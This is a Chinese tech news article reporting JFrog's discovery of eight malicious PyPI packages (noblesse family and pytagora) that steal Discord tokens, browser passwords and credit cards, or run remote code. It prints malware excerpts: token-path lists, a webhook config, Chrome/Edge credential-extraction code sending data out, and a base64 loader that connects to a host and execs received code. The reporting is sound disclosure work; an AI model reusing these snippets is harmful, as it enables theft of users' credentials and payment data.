影视聚合站 科技 文章内容

下个软件包可能泄露信用卡信息,Python包存储库PyPI又爆恶意代码,下载达3万次,你中招了吗?

发布时间:2021-08-01 15:50:07来源:机器之心

机器之心报道

编辑:杜伟、陈

近日,有研究人员又在Python官方软件包存储库PyPI中发现了8个恶意软件包,这些恶意代码会暗中窃取信用卡数据和登录凭据,并在受感染的机器上注入恶意代码。据估计,这些软件包的下载次数达到了3万次。

PyPI(PythonPackageIndex)是Python的正式第三方软件包的开源软件存储库,它类似于CPAN(Perl的存储库)。pip等一些软件包管理器就是默认从PyPI下载软件包。任何用户都可以下载第三方库和上传自己开发的库,目前通过PyPI可以下载超过23.5万个Python软件包。

但是,PyPI软件存储库经常被滥用也成为一个不争的事实。2018年,一位安全研究者Bertus对PyPI进行安全扫描时发现了12个有问题的软件包,其中包含可以导致安全隐患、开启后门甚至盗取比特币的恶意代码;2020年腾讯洋葱反入侵系统发现PyPI被恶意上传了request钓鱼包,攻击者通过伪造requests包名进行钓鱼,能够对受感染的主机进行入侵,进而可能窃取用户敏感信息及数字货币密钥、种植持久化后门、命令控制等。

近日,DevOps软件供应商JFrog的几位研究人员发表文章称,他们最近在PyPI中又发现了8个可执行一系列恶意活动的软件包,并且根据对PePy网站(一个提供Python包下载统计数据的站点)的搜索,这些恶意包的下载次数估计达到了3万。

他们表示,这些恶意代码会暗中窃取信用卡数据和登录凭据,并在受感染的机器上注入恶意代码。在收到研究人员的通知后,PyPI的维护者DustinIngram迅速做出反应并删除了恶意软件包。

两类不同的恶意代码族构成系统性威胁

这一发现是近年来一系列攻击中最新的一个,这些攻击超过了开源存储库的接受能力,数以百万计的软件开发人员每天都依赖开源存储库。尽管软件存储库扮演着至关重要的角色,但它们往往缺乏鲁棒的安全性和审查控制,当开发人员在不知情的情况下感染恶意代码或将恶意代码嵌入他们发布的软件时,这一弱点有可能导致严重的供应链攻击。

JFrog首席技术官AsafKaras表示:「诸如PyPI这样的流行软件库中不断发现恶意软件包,这种趋势令人担忧,有可能导致更为广泛的供应链攻击。攻击者使用简单的混淆技术来引入恶意软件,这意味着开发人员必须时刻保持关注和警惕。这是一种系统性威胁,需要在包括软件存储库的维护人员和开发人员等不同层面上进行解决。」

与大多数Python恶意软件一样,这些包仅使用了简单的混淆技术,例如来自Base64编码器的混淆。在这8个恶意软件包中,前6个(noblesse、genesisbot、aryi、suffer、noblesse2和noblessev2)均包含3个有效负载,一个用于获取Discord账户的认证cookie,第二个用于提取在浏览器存储的任何密码或支付款卡数据,第三个用于收集受感染PC的信息,如IP地址、计算机名和用户名。

有效负载1:窃取Discord身份验证token

noblesse恶意软件族的首个有效负载是窃取Discord身份验证token。身份验证token允许攻击者冒充最初持有token的用户,类似于HTTP会话cookie。窃取token的有效负载基于臭名昭著的dTGPG有效负载,它是一个从未公开发布的生成器工具,但个性化token抓取器是公开共享的,并且一些示例也上传到了GitHub。因此,Discord身份验证token窃取器代码非常简单,它迭代一组硬编码的路径:

local=os.getenv('LOCALAPPDATA')roaming=os.getenv('APPDATA')paths={'Discord':roaming+'\\Discord','DiscordCanary':roaming+'\\discordcanary','DiscordPTB':roaming+'\\discordptb','GoogleChrome':local+'\\Google\\Chrome\\UserData\\Default','Opera':roaming+'\\OperaSoftware\\OperaStable','Brave':local+'\\BraveSoftware\\Brave-Browser\\UserData\\Default','Yandex':local+'\\Yandex\\YandexBrowser\\UserData\\Default'}

然后读取这些路径下(特别是LocalSotrage\leveldb)的所有的.log和.ldb文件,并查找Discord身份验证token。所得结果通过Webhook上传到Discord,所用参数如下:

{"type":1,"id":"807327703082074143","name":"CaptainHook","avatar":null,"channel_id":"725001140324008047","guild_id":"720931953251057725","application_id":null,"token":"uwAgm7PQaROJB3USUNDv1RT7uJzfidUsHBsC_y0p2qtChlzNVgpG1vw2zAtkFX-8Xq-x"}

有效负载2:窃取自动完成敏感数据(信用卡和密码)

noblesse恶意软件族的第二个有效负载可自动完成信息窃取。目前所有的现代浏览器都支持保存用户密码和信用卡信息的能力:

这种自动保存功能给用户带来了极大的便利,但缺点是,这些信息可能会被访问本地机器的恶意软件泄露。在这种情况下,恶意软件试图从Chrome窃取信用卡信息:

defcs():master_key=master()login_db=os.environ['USERPROFILE']+os.sep+\r'AppData\Local\Google\Chrome\UserData\default\WebData'shutil.copy2(login_db,"CCvault.db")conn=sqlite3.connect("CCvault.db")cursor=conn.cursor()try:cursor.execute("SELECT*FROMcredit_cards")forrincursor.fetchall():username=r[1]encrypted_password=r[4]decrypted_password=dpw(encrypted_password,master_key)expire_mon=r[2]expire_year=r[3]hook.send(f"CARD-NAME:"+username+"\nNUMBER:"+decrypted_password+"\nEXPIRYM:"+str(expire_mon)+"\nEXPIRYY:"+str(expire_year)+"\n"+"*"*10+"\n")

另外,从Edge中窃取保存的密码和信用卡信息:

login_db=os.environ['USERPROFILE']+os.sep+r'\AppData\Local\Microsoft\Edge\UserData\Profile1\LoginData'...cursor.execute("SELECTaction_url,username_value,password_valueFROMlogins")decrypted_password=dpw(encrypted_password,master_key)ifusername!=""ordecrypted_password!="":hook.send(f"URL:"+url+"\nUSER:"+username+"\nPASSWORD:"+decrypted_password+"\n"+"*"*10+"\n")

有效负载3:用户系统信息收集

noblesse恶意软件族的第三个有效负载是收集中招用户系统的相关信息,并上传至上文提到的Webhook。收集的信息包括如下:

IP地址;

计算机名;

用户名;

Windows许可关键信息;

Windows版本;

屏幕截图(使用Pillow的ImageGrab)。

pytagora恶意软件族:远程代码注入攻击

不过,Karas表示前6个软件包具有感染开发者计算机的能力,但却不能用恶意软件感染开发者编写的代码。第二类恶意软件族则要简单得多,软件包的代码如下:

importmathimportbase64,sysdefhello():exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3Qs...'))defhypotenuse(a,b):hello()c=math.sqrt(math.pow(a,2)+math.pow(b,2))returnround(c,2)defother(c,x):y=math.sqrt(math.pow(c,2)-math.pow(x,2))returnround(y,2)

模糊代码又被解码为了以下代码片段:

importsocket,struct,times=socket.socket(2,socket.socket.socket.SOCK_STREAM)s.connect(('172.16.60.80',9009))l=struct.unpack('>I',s.recv(4))[0]print(l)d=s.recv(l)print(d)whilelen(d)>!1:d+=s.recv(l-len(d))print(d)exec(d,{'s':s})

简单地说,恶意软件试图连接TCP端口9009上的私有IP地址,然后执行从socket中读取的任何Python代码。

对此,Karas表示:「对于pytagora和pytagora2这两个软件包,则允许在安装它们的机器上代码执行,这是有可能的。在感染了开发机器之后,恶意软件包允许代码执行,然后攻击者可以下载有效负载,从而修改正在开发的软件项目。我们没有证据表明恶意软件确实是这样执行的。」

机器中招,怎么办?

如果你在检查完PyPI依赖项后,确认noblesse(或是克隆版本)已经在本地安装,你可以采取以下建议:

检查Edge中保存了哪些密码,并在每个网站上更改这些被泄露的密码(还包括重复使用相同密码的网站)。你可以这样做:打开Edge,然后导航到edge://settings/passwords。保存密码的完整列表(这些都是潜在的危害)可以在Savedpasswords查看。

检查哪些信用卡信息保存在Chrome,可以考虑在Chrome中取消这些信用卡。你可以这样做:打开Chrome,导航到chrome://settings/payments。完整的信用卡信息列表(这些都是潜在的危害)可以在Paymentmethods中查看。

如果你已经确定pytagora(或者克隆版本)已经在你的机器上本地安装,尽管你的机器可能不会感染相关的恶意软件,但建议你还是遵循常用的恶意软件检查步骤进行检查,例如使用已安装的杀毒软件进行全面扫描。

参考链接:

https://www.secrss.com/articles/24477

https://www.freebuf.com/column/188051.html

https://jfrog.com/blog/malicious-pypi-packages-stealing-credit-cards-injecting-code/

https://arstechnica.com/gadgets/2021/07/malicious-pypi-packages-caught-stealing-developer-data-and-injecting-code/?comments=1&post=40097199

©THEEND

转载请联系本公众号获得授权

投稿或寻求报道:content@jiqizhixin.com

© 2016-2017 ysjhz.com Inc.

站点统计| 举报| Archiver| 手机版| 小黑屋| 影视聚合站 ( 皖ICP备16004362号-2 )